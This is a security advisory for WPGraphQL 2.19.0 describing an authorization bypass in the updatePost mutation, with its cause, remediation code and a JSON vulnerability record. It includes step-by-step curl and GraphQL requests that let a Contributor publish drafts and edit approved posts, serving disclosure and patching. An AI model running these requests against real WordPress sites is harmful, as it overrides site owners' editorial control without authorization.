GHSA-5MMC-8PC9-WGGG

Vulnerability from github – Published: 2026-09-23 14:13 – Updated: 2026-09-23 14:13
VLAI
Summary
WPGraphQL: Contributor can publish and modify posts without the required capabilities via updatePost
Details

Summary

WPGraphQL 2.19.0 contains an authorization bypass in the updatePost mutation. An authenticated WordPress Contributor can change one of their own draft posts to PUBLISH despite lacking the publish_posts capability. The same mutation also permits the Contributor to modify their own previously published posts despite lacking edit_published_posts and failing WordPress's object-level edit_post capability check.

This bypasses the standard WordPress editorial workflow. The WordPress REST API correctly rejects the equivalent operations for the same user.

Affected software

  • Plugin: WPGraphQL
  • Plugin slug: wp-graphql
  • Confirmed affected version: 2.19.0
  • Plugin URL: https://wordpress.org/plugins/wp-graphql/
  • Repository: https://github.com/wp-graphql/wp-graphql
  • WordPress version used for testing: 7.0.2
  • WPGraphQL configuration: default settings

Only version 2.19.0 is claimed as confirmed because that is the version tested. The same authorization pattern appears in earlier source history, but those releases were not independently tested.

Vulnerability type

  • Broken access control / authorization bypass
  • CWE-863: Incorrect Authorization
  • OWASP 2021: A01 – Broken Access Control
  • Minimum required role: Contributor

Technical cause

src/Mutation/PostObjectUpdate.php checks only the post type's collection-level edit_posts capability:

if ( ! isset( $post_type_object->cap->edit_posts ) || ! current_user_can( $post_type_object->cap->edit_posts ) ) {
    // Reject request.
}

It separately prevents a user from changing another author's post, but it does not perform WordPress's object-level check:

current_user_can( $post_type_object->cap->edit_post, $post_id )

It also does not check publish_posts when the requested update changes the post status to publish. The mutation passes the requested status directly to wp_update_post(), which expects its caller to have already enforced authorization.

By comparison, WPGraphQL's createPost implementation explicitly checks publish_posts and changes an unauthorized requested status to pending. This protection is absent from updatePost.

Preconditions

  1. WPGraphQL 2.19.0 is installed and activated using its default settings.
  2. The attacker controls a normal WordPress Contributor account.
  3. The attacker can authenticate to /graphql, for example with an Application Password over HTTPS or with their WordPress login cookie and a valid wp_graphql/wp_rest nonce.

No administrator action beyond assigning the standard Contributor role is required. The Contributor role has edit_posts, but does not have publish_posts or edit_published_posts.

Reproduction

The following requests use an Application Password for concise remote reproduction. Replace the URL, username, and Application Password with values from the test installation. WordPress Application Passwords should be tested over HTTPS.

1. Create a draft as the Contributor

curl --user 'gql_contributor:APPLICATION_PASSWORD' \
  -H 'Content-Type: application/json' \
  --data-binary '{"query":"mutation { createPost(input:{title:\"Contributor publication bypass test\", content:\"Created by a Contributor and not reviewed by an editor.\", status:DRAFT}) { post { databaseId title status } } }"}' \
  'https://wordpress.example/graphql'

Example response:

{
  "data": {
    "createPost": {
      "post": {
        "databaseId": 21,
        "title": "Contributor publication bypass test",
        "status": "draft"
      }
    }
  }
}

Record the returned databaseId. The example below uses 21.

2. Verify that WordPress REST denies publication

Using the same Contributor credentials, attempt to publish the draft through the WordPress REST API:

curl --user 'gql_contributor:APPLICATION_PASSWORD' \
  -H 'Content-Type: application/json' \
  --data-binary '{"status":"publish"}' \
  'https://wordpress.example/wp-json/wp/v2/posts/21'

Expected control response:

{
  "code": "rest_cannot_publish",
  "message": "Sorry, you are not allowed to publish posts.",
  "data": {
    "status": 403
  }
}

This establishes that the Contributor lacks the WordPress capability required for the operation.

3. Publish the same draft through WPGraphQL

curl --user 'gql_contributor:APPLICATION_PASSWORD' \
  -H 'Content-Type: application/json' \
  --data-binary '{"query":"mutation { updatePost(input:{id:\"21\", status:PUBLISH}) { post { databaseId title status uri } } }"}' \
  'https://wordpress.example/graphql'

Observed response on WPGraphQL 2.19.0:

{
  "data": {
    "updatePost": {
      "post": {
        "databaseId": 21,
        "title": "Contributor publication bypass test",
        "status": "publish",
        "uri": "/contributor-publication-bypass-test/"
      }
    }
  }
}

The post is now publicly accessible without editorial approval.

4. Verify public exposure remotely

Open the returned uri without authentication, or query it without credentials:

curl -H 'Content-Type: application/json' \
  --data-binary '{"query":"query { post(id:\"21\", idType:DATABASE_ID) { databaseId title status uri } }"}' \
  'https://wordpress.example/graphql'

The post is returned with status publish.

Additional affected operation

If an editor previously published a post owned by the Contributor, WordPress no longer allows that Contributor to edit it because Contributors lack edit_published_posts. Nevertheless, the following mutation changes its title and content:

mutation {
  updatePost(input: {
    id: "PUBLISHED_POST_DATABASE_ID"
    title: "Unauthorized change after editorial approval"
    content: "The Contributor can replace previously approved content."
  }) {
    post {
      databaseId
      title
      status
    }
  }
}

In live testing, the REST API returned 403 rest_cannot_edit for this operation while WPGraphQL returned the modified published post.

Security impact

A compromised or malicious Contributor account can bypass the site's editorial approval boundary and:

  • Publish arbitrary posts without an Editor or Administrator approving them.
  • Publish spam, phishing, misleading, or SEO content under the attacker's account.
  • Modify content after an Editor has reviewed and published it.
  • Change the status of the attacker's previously published posts, potentially removing approved content from public view.
  • Repeat the process for additional drafts because Contributors can normally create drafts.

The issue affects the integrity of public site content and can affect availability of posts authored by the attacker. It does not allow modification of another author's posts, role escalation, administrator access, arbitrary code execution, or direct access to secrets. Normal WordPress content sanitization still applies to the Contributor's submitted HTML.

Suggested remediation

Before updating a post, enforce the post type's object-level meta capability with the target post ID, equivalent to WordPress REST behavior:

if (
    ! isset( $post_type_object->cap->edit_post ) ||
    ! current_user_can( $post_type_object->cap->edit_post, $post_id )
) {
    throw new UserError( /* authorization error */ );
}

Status transitions should also enforce the relevant post type capabilities. In particular, changing a post to a public/future status should require the post type's publish_posts capability. Tests should cover at least:

  • Contributor updating their own draft: allowed.
  • Contributor publishing their own draft: denied or changed to pending.
  • Contributor editing their own previously published post: denied.
  • Author publishing and editing their own post: allowed.
  • Contributor editing another author's post: denied.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 2.22.2"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "wp-graphql/wp-graphql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-88974"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-23T14:13:04Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nWPGraphQL 2.19.0 contains an authorization bypass in the `updatePost` mutation. An authenticated WordPress Contributor can change one of their own draft posts to `PUBLISH` despite lacking the `publish_posts` capability. The same mutation also permits the Contributor to modify their own previously published posts despite lacking `edit_published_posts` and failing WordPress\u0027s object-level `edit_post` capability check.\n\nThis bypasses the standard WordPress editorial workflow. The WordPress REST API correctly rejects the equivalent operations for the same user.\n\n## Affected software\n\n- Plugin: WPGraphQL\n- Plugin slug: `wp-graphql`\n- Confirmed affected version: `2.19.0`\n- Plugin URL: https://wordpress.org/plugins/wp-graphql/\n- Repository: https://github.com/wp-graphql/wp-graphql\n- WordPress version used for testing: `7.0.2`\n- WPGraphQL configuration: default settings\n\nOnly version 2.19.0 is claimed as confirmed because that is the version tested. The same authorization pattern appears in earlier source history, but those releases were not independently tested.\n\n## Vulnerability type\n\n- Broken access control / authorization bypass\n- CWE-863: Incorrect Authorization\n- OWASP 2021: A01 \u2013 Broken Access Control\n- Minimum required role: Contributor\n\n## Technical cause\n\n`src/Mutation/PostObjectUpdate.php` checks only the post type\u0027s collection-level `edit_posts` capability:\n\n```php\nif ( ! isset( $post_type_object-\u003ecap-\u003eedit_posts ) || ! current_user_can( $post_type_object-\u003ecap-\u003eedit_posts ) ) {\n    // Reject request.\n}\n```\n\nIt separately prevents a user from changing another author\u0027s post, but it does not perform WordPress\u0027s object-level check:\n\n```php\ncurrent_user_can( $post_type_object-\u003ecap-\u003eedit_post, $post_id )\n```\n\nIt also does not check `publish_posts` when the requested update changes the post status to `publish`. The mutation passes the requested status directly to `wp_update_post()`, which expects its caller to have already enforced authorization.\n\nBy comparison, WPGraphQL\u0027s `createPost` implementation explicitly checks `publish_posts` and changes an unauthorized requested status to `pending`. This protection is absent from `updatePost`.\n\n## Preconditions\n\n1. WPGraphQL 2.19.0 is installed and activated using its default settings.\n2. The attacker controls a normal WordPress Contributor account.\n3. The attacker can authenticate to `/graphql`, for example with an Application Password over HTTPS or with their WordPress login cookie and a valid `wp_graphql`/`wp_rest` nonce.\n\nNo administrator action beyond assigning the standard Contributor role is required. The Contributor role has `edit_posts`, but does not have `publish_posts` or `edit_published_posts`.\n\n## Reproduction\n\nThe following requests use an Application Password for concise remote reproduction. Replace the URL, username, and Application Password with values from the test installation. WordPress Application Passwords should be tested over HTTPS.\n\n### 1. Create a draft as the Contributor\n\n```bash\ncurl --user \u0027gql_contributor:APPLICATION_PASSWORD\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data-binary \u0027{\"query\":\"mutation { createPost(input:{title:\\\"Contributor publication bypass test\\\", content:\\\"Created by a Contributor and not reviewed by an editor.\\\", status:DRAFT}) { post { databaseId title status } } }\"}\u0027 \\\n  \u0027https://wordpress.example/graphql\u0027\n```\n\nExample response:\n\n```json\n{\n  \"data\": {\n    \"createPost\": {\n      \"post\": {\n        \"databaseId\": 21,\n        \"title\": \"Contributor publication bypass test\",\n        \"status\": \"draft\"\n      }\n    }\n  }\n}\n```\n\nRecord the returned `databaseId`. The example below uses `21`.\n\n### 2. Verify that WordPress REST denies publication\n\nUsing the same Contributor credentials, attempt to publish the draft through the WordPress REST API:\n\n```bash\ncurl --user \u0027gql_contributor:APPLICATION_PASSWORD\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data-binary \u0027{\"status\":\"publish\"}\u0027 \\\n  \u0027https://wordpress.example/wp-json/wp/v2/posts/21\u0027\n```\n\nExpected control response:\n\n```json\n{\n  \"code\": \"rest_cannot_publish\",\n  \"message\": \"Sorry, you are not allowed to publish posts.\",\n  \"data\": {\n    \"status\": 403\n  }\n}\n```\n\nThis establishes that the Contributor lacks the WordPress capability required for the operation.\n\n### 3. Publish the same draft through WPGraphQL\n\n```bash\ncurl --user \u0027gql_contributor:APPLICATION_PASSWORD\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data-binary \u0027{\"query\":\"mutation { updatePost(input:{id:\\\"21\\\", status:PUBLISH}) { post { databaseId title status uri } } }\"}\u0027 \\\n  \u0027https://wordpress.example/graphql\u0027\n```\n\nObserved response on WPGraphQL 2.19.0:\n\n```json\n{\n  \"data\": {\n    \"updatePost\": {\n      \"post\": {\n        \"databaseId\": 21,\n        \"title\": \"Contributor publication bypass test\",\n        \"status\": \"publish\",\n        \"uri\": \"/contributor-publication-bypass-test/\"\n      }\n    }\n  }\n}\n```\n\nThe post is now publicly accessible without editorial approval.\n\n### 4. Verify public exposure remotely\n\nOpen the returned `uri` without authentication, or query it without credentials:\n\n```bash\ncurl -H \u0027Content-Type: application/json\u0027 \\\n  --data-binary \u0027{\"query\":\"query { post(id:\\\"21\\\", idType:DATABASE_ID) { databaseId title status uri } }\"}\u0027 \\\n  \u0027https://wordpress.example/graphql\u0027\n```\n\nThe post is returned with status `publish`.\n\n## Additional affected operation\n\nIf an editor previously published a post owned by the Contributor, WordPress no longer allows that Contributor to edit it because Contributors lack `edit_published_posts`. Nevertheless, the following mutation changes its title and content:\n\n```graphql\nmutation {\n  updatePost(input: {\n    id: \"PUBLISHED_POST_DATABASE_ID\"\n    title: \"Unauthorized change after editorial approval\"\n    content: \"The Contributor can replace previously approved content.\"\n  }) {\n    post {\n      databaseId\n      title\n      status\n    }\n  }\n}\n```\n\nIn live testing, the REST API returned `403 rest_cannot_edit` for this operation while WPGraphQL returned the modified published post.\n\n## Security impact\n\nA compromised or malicious Contributor account can bypass the site\u0027s editorial approval boundary and:\n\n- Publish arbitrary posts without an Editor or Administrator approving them.\n- Publish spam, phishing, misleading, or SEO content under the attacker\u0027s account.\n- Modify content after an Editor has reviewed and published it.\n- Change the status of the attacker\u0027s previously published posts, potentially removing approved content from public view.\n- Repeat the process for additional drafts because Contributors can normally create drafts.\n\nThe issue affects the integrity of public site content and can affect availability of posts authored by the attacker. It does not allow modification of another author\u0027s posts, role escalation, administrator access, arbitrary code execution, or direct access to secrets. Normal WordPress content sanitization still applies to the Contributor\u0027s submitted HTML.\n\n## Suggested remediation\n\nBefore updating a post, enforce the post type\u0027s object-level meta capability with the target post ID, equivalent to WordPress REST behavior:\n\n```php\nif (\n    ! isset( $post_type_object-\u003ecap-\u003eedit_post ) ||\n    ! current_user_can( $post_type_object-\u003ecap-\u003eedit_post, $post_id )\n) {\n    throw new UserError( /* authorization error */ );\n}\n```\n\nStatus transitions should also enforce the relevant post type capabilities. In particular, changing a post to a public/future status should require the post type\u0027s `publish_posts` capability. Tests should cover at least:\n\n- Contributor updating their own draft: allowed.\n- Contributor publishing their own draft: denied or changed to `pending`.\n- Contributor editing their own previously published post: denied.\n- Author publishing and editing their own post: allowed.\n- Contributor editing another author\u0027s post: denied.",
  "id": "GHSA-5mmc-8pc9-wggg",
  "modified": "2026-09-23T14:13:04Z",
  "published": "2026-09-23T14:13:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/wp-graphql/wp-graphql/security/advisories/GHSA-5mmc-8pc9-wggg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wp-graphql/wp-graphql/pull/4270"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wp-graphql/wp-graphql/commit/55441663eaa33c3f2e05de038c8286c845916461"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wp-graphql/wp-graphql"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wp-graphql/wp-graphql/releases/tag/wp-graphql%2Fv2.22.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WPGraphQL: Contributor can publish and modify posts without the required capabilities via updatePost"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…